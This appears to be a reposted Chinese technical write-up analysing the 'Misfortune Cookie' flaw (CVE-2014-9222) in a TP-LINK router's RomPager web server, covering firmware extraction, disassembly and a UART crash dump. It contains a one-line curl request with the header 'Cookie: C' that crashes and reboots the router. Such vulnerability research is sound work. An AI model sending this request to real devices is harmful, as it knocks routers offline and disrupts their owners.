技术分析：“厄运cookie”漏洞（CVE-2014-9222）解密

时间：2015-03-04　|　来源：互联网　|　阅读：138

话题：

所以，应该通过atdo命令将它从内存中备份出来。

3) 路由所用的RTOS THREADX和allegrorompager一起从地址0×80020000开始。再一次，在执行的前一阶段它会解包和解压。至少地址0×65883的镜像会完整的从固件中提取出来，如下所示。除此之外，处理器构架也能够像下面这样探测到。

cawan$binwalk --disasm --minsn=100 65833 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 MIPS executable code, 32/64-bit,big endian, ...

所以, 0×65883的镜像已经准备载入IDA Pro ，其基址0×8002000，处理器构架为MIPS大端。通过 Lior Oppenheim and Shahar Tal [2]得知, 这个漏洞的存在是因为rompager的web服务器中缺少了对“Cookie: C”的解释，当我们如下所做：

cawan$curl --header 'Cookie: C' 192.168.1.1

会导致路由出现某种错误并且立即重启。通过UART口的信息，我们可以到类似“Kernel Panic”的错误输出。如下所示：

TP-LINK> TLB refillexception occured! EPC=0x8010E5D8 SR=0x10000003 CR=0xC080500C $RA=0x00000000 BadVirtual Address = 0x00000000 UTLB_TLBS..coresys_isr.c:267 sysreset() $r0= 0x00000000 $at= 0x80350000 $v0=0x00000000 $v1= 0x00000001 $a0= 0x00000001 $a1= 0x805D7AF8 $a2=0xFFFFFFFF $a3= 0x00000000 $t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2= 0x804A8F38$t3= 0x804A9E47 $t4= 0x804A9460 $t5= 0x804A8A60 $t6=0x804A9D00 $t7= 0x00000040 $s0= 0x804A8A60 $s1= 0x8040C114 $s2=0x805E2BC8 $s3= 0x80042A70 $s4= 0x00000001 $s5= 0x8000007C $s6=0x8040E5FC $s7= 0x00000000 $t8= 0x804A9E48 $t9= 0x00000000 $k0=0x00000000 $k1= 0x8000007C $gp= 0x8040F004 $sp= 0x805E2B60 $fp=0x805E2BC8 $ra= 0x8003A3D0 00 01 02 03 04 05 06 07 08 09 0A 0B0C 0D 0E 0F 805e2bc8:80 5e 2b f8 80 04 2a 70 80 4e d5 ba 00 00 00 01 .^+...*p.N...... 805e2bd8:80 4e d5 ba 00 00 00 00 80 40 f8 ac 80 48 4e 29 [email protected]) 805e2be8:80 55 54 4c 42 5f 54 4c 42 53 00 ba 80 41 34 0c .UTLB_TLBS...A4. 805e2bf8:80 5e 2c 18 80 10 e5 e0 80 42 64 dc 80 4e d5 b9 .^,......Bd..N.. 805e2c08:80 40 f8 ac 00 00 00 00 80 40 e6 0c 80 10 dc c0 .@.......@...... 805e2c18:80 5e 2c 30 80 10 d7 38 80 40 f8 ac 00 00 00 00 .^,0...8.@...... 805e2c28:00 00 00 00 80 16 c4 28 80 5e 2c 40 80 10 ec 28 .......(.^,@...( ... ... 805e2f68:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 805e2f78:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 805e2f88:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 805e2f98:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 805e2fa8:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 805e2fb8:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 805e2fc8:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ current task = httpd dump task = network tx_stack_ptr = 0x805D5990 tx_stack_start = 0x805D3AF0 tx_stack_end = 0x805D5AEF tx_stack_size = 0x00002000 tx_run_count = 0x00000220 00 01 02 03 04 05 06 07 08 09 0A 0B0C 0D 0E 0F 805d5990:00 00 00 00 80 5d 5a 70 80 44 2b f8 80 4a db 98 .....]Zp.D+..J.. 805d59a0:80 44 2c 8c 80 44 2c 90 80 44 2c 7c 80 44 2c 94 .D,..D,..D,|.D,. 805d59b0:80 4a db 98 10 00 00 01 00 00 00 0a 00 00 00 00 .J.............. 805d59c0:80 1e cc ac 10 00 00 01 00 00 00 00 80 51 47 98 .............QG. 805d59d0:00 00 00 00 00 00 05 dc 00 00 00 14 c0 a8 01 90 ................ 805d59e0:80 5d 5a 90 80 07 20 c8 80 45 23 34 00 00 00 01 .]Z... ..E#4.... 805d59f0:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 805d5a00:00 00 00 00 80 4d ac 88 80 52 90 38 00 00 00 01 .....M...R.8.... 805d5a10:c0 a8 01 90 00 00 00 01 80 5d 5a 90 80 51 47 98 .........]Z..QG. 805d5a20:80 45 23 34 00 00 00 14 00 00 00 00 00 00 00 00 .E#4............ 805d5a30:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 805d5a40:00 00 00 00 00 00 00 00 00 00 00 00 c0 a8 01 01 ................ 805d5a50:10 00 00 01 80 4a db 98 00 00 00 00 00 00 00 00 .....J.......... ... ... Reservefor Print when Crash Erasing 4KSector... Erasing 4KSector... writeRomBlock():Erase OK!